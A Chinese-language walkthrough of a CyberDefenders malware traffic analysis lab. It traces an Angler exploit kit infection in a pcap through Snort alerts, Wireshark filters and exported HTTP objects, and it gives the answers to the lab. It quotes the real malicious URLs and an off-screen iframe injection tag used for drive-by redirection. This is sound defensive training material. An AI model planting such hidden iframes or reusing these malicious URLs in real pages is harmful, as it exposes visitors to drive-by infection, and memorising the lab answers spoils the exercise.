本文首发在安全客:https://www.anquanke.com/post/id/244154,分为两部分,本文为上

Malware Traffic Analysis-1

lab地址:https://cyberdefenders.org/labs/18

练习场景

故事是这样的,Tom和Jake是我们公司安全运行中心SOC的新员工。他们呢分别给自己去了花名为”Goofus”和”Gallant”,这两个花名都是来自某个儿童杂志中的漫画。Tom又叫做Goofus,Jake又叫做Gallant。

2015-11-24-traffic-analysis-exercise-image-01

在感恩节前夕的周四,Tom和Jake正在SOC工作。Tom带了他自己的Windows笔记本来上班,他想用在上班的时候摸会儿鱼,冲下浪。Jake呢就是兢兢业业工作的老实人。

2015-11-24-traffic-analysis-exercise-image-02

Jake的感恩节计划已经定下来了,他打算吃他前不久在超市里买的火鸡。相比起Jake,Tom是个火鸡狂热分子,他打算自己亲自去猎一只火鸡。为了打成他的感恩节计划,Tom打算买一杆shotgun。Tom在上网的时候连接了SOC中心的wifi,然后开始挑选他的shotgun。没玩一会儿,Tom的电脑就弹出了一些警报,不一会儿,电脑就直接蓝屏宕机了。。。

2015-11-24-traffic-analysis-exercise-image-03

你呢,刚好负责培训这两个新人Goofus和Gallant。毫无疑问的是,Goofus Tom会因为他在上班事件摸鱼还感染了病毒被开除,而Gallant是个经验尚不足的新手,所以你需要帮助Tom找到他的电脑被感染的原因。

你检查了Tom的电脑,然后发现了一条可疑的注册表信息,和该注册表信息相关的文件的SHA256值为: d16ad130daed5d4f3a7368ce73b87a8f84404873cbfc90cc77e967a83c947cd2

2015-11-24-traffic-analysis-exercise-image-04

随后,你查看了网络alerts。遗憾的是,你司没啥钱配置商业的网络入侵检测系统(Intrusion Detection System,IDS),但幸运的是,低成本的解决方案是配置了的。你可以查看Snorts alerts和Suricata alerts来寻找蛛丝马迹。

Snots:

2015-11-24-traffic-analysis-exercise-image-05

Suricata:

2015-11-24-traffic-analysis-exercise-image-06

分析过程

了解了背景之后,进入正题,下载题目提供的压缩包,解压后得到4个文件:

1
2
3
4
5
6
╭─kali@kali ~/c40-malware-traffic-analysis-4 
╰─$ tree
.
├── malware-traffic-analysis-4.pcap
├── malware-traffic-analysis-4-snort-events.txt
└── malware-traffic-analysis-4-suricata-events.txt

其中malware-traffic-analysis-4-snort-events.txt文件是Snort日志文件,malware-traffic-analysis-4-suricata-events.txt则是是Suricata日志文件。

Problem 1

*What is the victim IP address? *

查看malware-traffic-analysis-4-snort-events.txt文件,发现了两条这样的记录:

1
2
3
4
5
6
7
8
9
10
11
12
13
[**] [1:30320:2] BLACKLIST Connection to malware sinkhole [**]
[Classification: A Network Trojan was detected] [Priority: 1]
11/24-16:16:42.076853 166.78.145.90:80 -> 10.1.25.119:49453
TCP TTL:128 TOS:0x0 ID:6775 IpLen:20 DgmLen:310 DF
***A**** Seq: 0x76295D32 Ack: 0x7F847C95 Win: 0xFF00 TcpLen: 20
[Xref => http://en.wikipedia.org/wiki/Sinkhole_Server]

[**] [1:25018:3] BLACKLIST Connection to malware sinkhole [**]
[Classification: A Network Trojan was detected] [Priority: 1]
11/24-16:16:42.076853 166.78.145.90:80 -> 10.1.25.119:49453
TCP TTL:128 TOS:0x0 ID:6775 IpLen:20 DgmLen:310 DF
***A**** Seq: 0x76295D32 Ack: 0x7F847C95 Win: 0xFF00 TcpLen: 20
[Xref => http://en.wikipedia.org/wiki/Sinkhole_Server]

流量从主机166.78.145.90到主机10.1.25.119,由此可知,受害主机ip为10.1.25.119

另一种方法,我们可以在wireshark中过滤:

1
http.request

23

过滤之后发现请求都是从ip为10.1.25.119的主机发出的,如果再过滤http.response,可以看到,http响应数据包的目的地地址都是10.1.25.119,因此可以判断受害主机IP为10.1.25.119

Problem 2

*What is the victim’s hostname? *

识别主机名通常有两种方式:

  1. 从DHCP流量中获取主机信息
  2. 从NBNS流量中获取主机信息

DHCP流量数据包有助于我们识别连接网络的几乎所有类型计算机的主机;NBNS流量数据包则主要由微软Windows系统计算机或运行MacOS系统的主机生成。

过滤dhcp流量包:

1

选择source ip为受害主机的dhcp流量包:

3

得到主机名为Turkey-Tom

不过受DHCP租期更新频率的影响,数据包中可能没有捕获到DHCP流量包。那我们可以使用NBNS流量来识别Windows系统主机或MacOS系统主机。

而且从题目场景中我们可以知道,受害者Tom使用的是一台Windows7的笔记本。所以我们可以用nbns来过滤数据包中的NBNS流量。

Source IP皆为受害主机IP,那选择第一条流量数据,可以看到主机名为TURKEY-TOM

4

Problem 3

*What is the exploit kit name? *

为了找到恶意软件,我们可以从流量中提出可疑的文件,在wireshark中,选择File->Export Objects,提供了5种文件传输协议:

  • DICOM: Digital Imaging and Communications in Medicine,医学数字成像和通信协议,DICOM是基于TCP/IP的网络协议,通过DICOM将影像设备和存储管理设备连接起来。
  • HTTP: HyperText Transfer Protocol,超文本传输协议,不用多介绍,是基于TCP协议的应用程传输协议,简单来说就是客户端和服务端进行数据传输的一种规则。
  • IMF:Internet Messafe Format,互联网信息格式,是文本消息在互联网上传输的格式。
  • SMB:ServerMessage Block,信息器服务块,是微软和英特尔在1987年制定的协议,主要作为微软网络的通讯协议。
  • TFTP:Trivial File Transfer Protocal,简单文件传输协议,是TCP/IP协议簇中一个用来再客户机与服务器之间进行简单文件传输的协议,提供不复杂,开销不大的文件传输服务。

再选择HTTP,能够得到通过Http协议传输的文件。

5

有非常多的文件通过HTTP协议传输,比如图片(image/jpeg),js脚本文件(text/javascript),网页文件(text/html)等,然后选择Save All,将所有文件都保存下来,然后全部扔进 ClamAV 中进行扫描,扫描了了677个文件后,确实发现了恶意软件:

6

选择Anlysis,我们可以看到可疑的文件是一个名为who(2).olp%3fsave=&effect=VFv9cHM&you=LmzXy&picture=J0sYyqN&why=Dv0ZsHPosOWnZsEC9KJ9myAYKZSGT的文件:

7

在wireshark中可以看到,该文件是类型为application\x-shockwave-flash的swf文件:

8

本小题中,exploit kit的名为Angler

除了上面这种方法以外,还可以将pcap包上传到VirusTotal扫描:

16

Snort和Suricata分别有47条和14条alters,查看详情:

15

在Snorts警报中发现了Exploit-Kit Angler。

Problem 4

*What is the IP address that served the exploit? *

接下来我们需要找到exploit kit的来源ip。

9

根据wireshark过滤出的文件,我们很容易定位到该文件对应的请求,发现该文件传输是从主机162.216.4.20传送到受害主机上的,得到本题答案162.216.4.20

出了这种方法以外,我们还可以从info信息中过滤。info列是没有filter选项的,它是wireshark根据网络包内容生成的概要信息。我们可以这样过滤,首先进行搜索,Ctrl+f,注意在前面的搜索类型中修改为String,然后我们搜索关键词,比如who.olp

10

我们得到这样一条信息,受害主机10.1.25.119向主机162.216.4.20发送请求,对应的请求URI为:

1
http://neuhaus-hourakus.avelinoortiz.com/who.olp?save=&effect=VFv9cHM&you=LmzXy&picture=J0sYyqN&why=Dv0ZsHPosOWnZsEC9KJ9myAYKZSGT

在该条流量的不远处,能找到来自主机162.216.4.20的响应:

11

packet num 10960的数据包是受害主机向162.216.4.20发起请求,packet num为11089的数据包是主机162.216.4.20返回恶意软件给受害主机10.1.25.119

Problem 5

*What is the HTTP header that is used to indicate the flash version? *

从上题分析中我们已经知道,packet num 11089,恶意软件所在主机返回封装在swf文件中的恶意软件给受害者,所以这个flash version也应当与该包相关,查看该数据包:

13

追踪该数据包的HTTP流,右键Follow->HTTP Stream,根据上图的关键词定位到该数据包:

14

该响应数据包对应的请求包中,可以看到与flash version相关的请求头为x-flash-version

Problem 6

*What is the malicious URL that redirects to the server serving the exploit? *

这个问题是,Tom访问Exploit Kit的主机地址时,是从哪个URL跳转过去的?

在这里我们需要先了解一下,用户一般是怎么被Exploit-Kit(后面简称EK)感染的。

Exploit-Ki通常被攻击者利用用来感染受害用户,可能在用户浏览网站的时候,在不知不觉间,就被EK感染。EK通常托管在专用于提供EK的服务器上。而用户如何访问到这些EK?通常是通过被感染的网站发生的。攻击者首先攻击感染合法网站,向这些被感染的网站页面注入恶意脚本,这些脚本能将用户导到提供EK的服务器上。当然这些都是在用户不知情的情况下发生的。

在最简单的场景下,攻击链一般是这样的:

Compromised(legitimate) website –> EK server

除了这种最简单的情况,很多时候,攻击者还会使用另一台服务器作为被感染的站点和EK服务器之间的gate。我们通常将这种情况称为redirect,因为它将流量从一个被感染的主机重定向到了EK服务器,当存在一个gate服务器的时候,攻击链是这样的:

Compromised website –> Gate –> EK

这个gate服务器通常是另一个被感染的website。当然,也有少数情况下,这个gate是攻击者自己搭建的专用服务器。在某些情况下,在到达EK之前,可能还存在2个或是3个gate:

Compromised website –> First gate –> Second gate –> EK

好了,回到这个流量包本身,我们需要回答的问题是,受害者Tom是如何访问到EK服务器162.216.4.20的?

无非是两种情况:第一种,Tom访问了受感染的网站,然后受感染的网站利用脚本将Tom导向EK站点;第二种,Tom访问了受感染的网站,然后通过一个或多个gate,将Tom导向EK站点。

现在我们已经知道的是IP为162.216.4.20的站点,对应的domain为neuhaus-hourakus.avelinoortiz.com

1
http.request and ip.addr eq 162.216.4.20

17

我们搜索与该域名相关的流量:

1
ip contains neuhaus-hourakus.avelinoortiz.com

按照时间排序,我们注意到一条流量是从85.143.220.17到受害主机的,这看起来像是一条gate相关的流量:

18

我们跟踪该条流量的TCP流,右键Follow->TCP Stream

19

从这条流量得知,Tom访问了IP为85.143.220.17(域名为solution.babyboomershopping.org)的站点,访问的URL为http://solution.babyboomershopping.org/respondents/header.js,该站点中存在一个iframe页面,该页面嵌入了EK server的URL,使得Tom在不知情的情况下被EK server上的Exploit-Kit Angler感染。

所以,本题的答案为:

1
http://solution.babyboomershopping.org/respondents/header.js

Problem 7

*What is The CAPEC ID corresponding to the technique used to redirect the victim to the exploit server? More info at capec.mitre.org *

本题的问题是,攻击者是用什么技术将受害用户重定向到EK服务器的,它的CAPEC ID是什么?

经过Problem 6的分析,我们已经知道,攻击者在受害者访问的页面中嵌入了一个iframe,该iframe的参数为:

1
<iframe style="position:absolute;left:-3311px;top:-3861px;width:309px;height:326px;" src="http://neuhaus-hourakus.avelinoortiz.com/forums/viewforum.php?f=15&sid=0l.h8f0o304g67j7zl29"></iframe>

因为其位置参数设置得很夸张,所以用户根本察觉不到存在frame劫持的情况。

不过,本题问题的求的是CAPEC ID,是一种漏洞标准,全称为Common Attack Pattern Enumeration and Classification,即常见攻击模式枚举和分类

所以,本题的答案为CAPEC-222,对应的attack pattern即为iFrame Overlay,属于点击劫持的一种分类。更加具体的细节可以参考:https://capec.mitre.org/data/definitions/222.html

Problem 8

*What is the FQDN of the compromised website? *

本题的问题是,受感染的网站的完全限定域名是什么?

到目前为止,我们还没有找到Tom上网时感染的源头是什么,他到底访问了什么站点导致他的主机被感染?

我们继续过滤,看看什么流量中包含gate站点:

1
ip contains solution.babyboomershopping.org

20

在一条从IP 64.34.173.208到受害主机10.1.25.119的流量中,包含solution.babyboomershopping.org,跟踪该条TCP流:

21

由此我们得知,本题的答案,compromised website的完全限定域名为shotgunworld.com。攻击者采用了相同的frame劫持的方法,通过iframe将受害者重定向至gate站点solution.babyboomershopping.org,通过这个中间站点再将用户重定向至EK服务器。所以整条attack链为:

shotgunworld.com –> solution.babyboomershopping.org –> EK server

Problem 9

*The compromised website contains a malicious js that redirect the user to another website. What is the variable name passed to the “document.write” function? *

Hint:OX_

这道题的答案很简单,从上题追踪到的TCP Stream知道,iframe是当页面加载的时候,执行js,然后将iframe写入页面的:

22

所以本题的答案为OX_7f561e63

该流量包的分析就暂时到此为止了。